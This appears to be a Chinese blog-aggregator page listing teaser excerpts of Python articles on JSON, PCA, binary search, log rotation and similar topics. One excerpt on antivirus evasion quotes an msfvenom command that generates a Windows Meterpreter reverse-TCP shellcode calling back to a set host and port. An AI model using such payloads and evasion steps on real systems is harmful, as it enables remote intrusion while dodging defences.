关于Python中的None
关于Python中的None 注意到None这个类型是在做一道Python题目时,要求说如果传进函数的字符串是“None”则返回False,糟糕的是我并不知道如何判断是否是“None”。 None翻译成汉语的意思是“没有”,在Python中它表示空,但和空字符串、空列表不一样,做这样一个小实验: > ... 查看全文
转 Python3 JSON 数据解析
JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式。它基于ECMAScript的一个子集。 Python3 中可以使用 json 模块来对 JSON 数据进行编解码,它包含了两个函数: json.dumps(): 对数据进行编码。 json.loads() ... 查看全文
rsyslog与 logrotate 服务以及日志切割方法小结 [Logrotate、python、shell脚本实现 ]
功能:rsyslog 负责写入日志, logrotate负责备份和删除旧日志, 以及更新日志文件。 一 rsyslog服务 配置文件(/etc/rsyslog.conf) # rsyslog configuration file # For more information see /usr/sha ... 查看全文
mac python版本错误问题以及pip版本错误(anacanda)
在进行python包安装的时候遇到错误(输入conda、pip) zsh: /opt/anaconda3/bin/pip: bad interpreter: /opt/anaconda3/bin/python: no such file or directory 问题主要出现在anacanda的pi ... 查看全文
实现pca降维-Python实现
PCA:主成分分析-Python实现,X:[2500,784],把X降到50维 1 def pca(X=np.array([]), no_dims=50): 2 """ 3 Runs PCA on the NxD array X in order to reduce its dimensionali ... 查看全文
二分查找算法(Python)
介绍 二分查找也称折半查找(Binary Search),它是一种效率较高的查找方法。但是,折半查找要求线性表必须采用顺序存储结构,而且表中元素按关键字有序排列。 前提 必须待查找的序列有序 时间复杂度 O(log2n) 原理 1)确定该期间的中间位置K 2)将查找的值t与array[k]比较,若相 ... 查看全文
win10 永久解决matplotlib 画图中文及负号显示为方框 python
https://blog.csdn.net/q1148013214/article/details/81172446?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonec ... 查看全文
复杂链表的复制(Python and C++版本)
题目: 请实现 copyRandomList 函数,复制一个复杂链表。在复杂链表中,每个节点除了有一个 next 指针指向下一个节点,还有一个 random 指针指向链表中的任意节点或者 null。 来源:力扣(LeetCode)链接:https://leetcode-cn.com/problems ... 查看全文
debian修改python源码并打包deb
目的:修改python解释器用于代码加密获取源码aptsourcepython2.7-minimal由于系统默认的python版本是2.7.16,下载的源码是2.7.16-2+deb10u1,直接编译安装,会导致系统命令如aptinstall无法执行,原因是包依赖冲突,因此要修改打包的版本号,修改的方式进入到源码目录,修改debian/changelog文件,我是直接把python2.7(2.7. 查看全文
QuantLib 金融计算——C++ 代码改写成 Python 程序的一些经验
QuantLib 金融计算——C++ 代码改写成 Python 程序的一些经验 概述 Python 在科学计算、数据分析和可视化等方面已经形成了非常强大的生态。而且,作为一门时尚的脚本语言,易学易用。因此,对于量化分析和风险管理的从业者来说,将某些 QuantLib 的历史代码转换成 Python ... 查看全文
Java VS Python:哪个未来发展更好?
很多开发者认为Python是比Java更高效的语言,Python是一种解释性语言,伴随着优雅的语法,它是脚本编写和快速应用程序开发在许多领域的绝佳选择。 Python是一种动态类型的编程语言,无需声明变量。而Java是一种统计类型的编程语言,其中必须明确声明变量。 即使未列出某些Java“类外壳”, ... 查看全文
二分查找算法(Python)
二分查找也称折半查找(Binary Search),它是一种效率较高的查找方法。但是,折半查找要求线性表必须采用顺序存储结构,而且表中元素按关键字有序排列。 查看全文
流畅的python(一)序列构成的数组
1、内置序列类型概览 按照存放类型分类 不同类型的数据:list, tuple, collections.deque 一种类型的数据:str, bytes, bytearray, memoryview和arrray.array 按照是否修改分类 可变序列:list, bytearray, array ... 查看全文
课 python 爬虫 01
1.通讯协议 1.1 端口 我们想要进行数据通讯分几步? 1. 找到对方ip 2. 数据要发送到对方指定的应用程序上。为了标识这些应用程序,所以给这些网络应用程序都用数字进行了标识。为了方便称呼这个数字,叫做 端口。这里的端口 我们一般都叫做 '逻辑端口' 3. 定义通讯规则。这个通讯规则我们一般称 ... 查看全文
简述python中的深浅拷贝
说到什么是深浅拷贝,就不得不说python中赋值的含义,赋值并不是拷贝,而是将target和object建立了一种联系,当一个object可变时,连接该object的任意一个target改变该object值都会影响其他连接该object的target的取值。如: >>> a=[1,2,3] >>> ... 查看全文
软件测试工程师常见的17道Python面试题【多测师_王sir】
#coding=utf-8""" Author:多测师_王sirTime:2020-07-10 12:00Wechat:xiaoshubasswebsite:www.duoceshi.cn """ python练习题 1.统计 统计在一个队列中的数字,有多少个正数,多少个负数,如 a=[1, 3, ... 查看全文
什么是Python?python是一门怎样的编程语言?
随着人工智能的发展以及进步,python成为了非常受欢迎的编程语言,尤其是对于初学者越来越多的人都会转行学习python,那么你知道python是一门怎样的编程语言吗? 查看全文
利用Python进行Payload分离免杀
缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c 将payload给copy下来 ... 查看全文
二叉搜索树与双向链表(Python and C++版本)
题目: 输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的循环双向链表。 要求不能创建任何新的节点,只能调整树中节点指针的指向。我们希望将这个二叉搜索树转化为双向循环链表。链表中的每个节点都有一个前驱和后继指针。对于双向循环链表,第一个节点的前驱是最后一个节点,最后一个节点的后继是第一个节点。“he ... 查看全文
练习题00 - Python2和Python3的区别
一:输入的区别 1.在Python3中input功能会等待用户的输入,用户输入任何内容,都存成字符串类型,然后赋值给等号左边的变量名 username = input('请输入用户名:') print(type(username)) # 输入:darker # 输出:<class 'str'> # ... 查看全文
我的python菜鸟之路16
我的第一个长代码 制作一个商店导购程序 # 生成商品列表 name = ''' ......#商场所有的商品 ''' new_name = name.split('\n') goods_list = [] i = 1 for item in new_name: i += 1 price = 5 + ... 查看全文
centos 下 yum安装python3
#yum 源准备 1、更新一下yum: sudo yum -y update 该 -y 标志用于提醒系统我们知道我们正在进行更改,免去终端提示我们要确认再继续 2、安装yum-utils 【一组扩展和补充yum的实用程序和插件】 sudo yum -y install yum-utils 3、安装C ... 查看全文